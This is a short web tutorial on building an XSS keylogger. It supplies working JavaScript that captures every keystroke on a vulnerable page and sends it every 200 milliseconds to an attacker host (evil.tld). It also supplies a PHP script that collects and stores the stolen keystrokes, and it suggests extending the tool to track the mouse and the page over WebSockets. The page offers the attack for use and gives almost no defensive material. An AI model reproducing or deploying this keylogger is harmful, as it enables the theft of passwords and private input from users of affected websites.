XSS Keylogger Tutorial

This XSS Keylogger tutorial demonstrates how an attacker can monitor a user keystrokes on a vulnerable web page.

Introduction

If you have never heard about XSS Keyloggers, it's a simple way to grab informations a user type on a web page.

Keylogging is the action of recording the keys struck on a keyboard.
A keylogger can be used to spy someone, grab their passwords, intercept their conversations or steal their personal informations.

In most case an attacker will steal the SESSION cookie to impersonate the targeted user.
But in some situation the SESSION cookie might be insufficient, an attacker might need to know what the targeted user is typing.

  • HTTP only cookie
  • Session-less authentication
  • Password needed to perform actions with higher privileges

Javascript Keylogger client

The code below is a tiny Javascript keylogger, it stores all keystrokes along with a timestamps in a n array and send it to the attacker controlled server over HTTP every 200 milliseconds.

var buffer = [];
var attacker = 'http://evil.tld/?c='

document.onkeypress = function(e) {
    var timestamp = Date.now() | 0;
    var stroke = {
        k: e.key,
        t: timestamp
    };
    buffer.push(stroke);
}

window.setInterval(function() {
    if (buffer.length > 0) {
        var data = encodeURIComponent(JSON.stringify(buffer));
        new Image().src = attacker + data;
        buffer = [];
    }
}, 200);

PHP Keylogger server

To test the JavaScript keylogger with a web server running PHP you can use the code below.

<?php
if(!empty($_GET['c'])) {
    $logfile = fopen('data.txt', 'a+');
    fwrite($logfile, $_GET['c']);
    fclose($logfile);
}
?>

Enhancement

This tutorial cover a very small part of what a JavaScript backdoor is able to achieve.
A good improvement would be to monitor mouse position and DOM element and send everything to the attacker in real-time using WebSockets.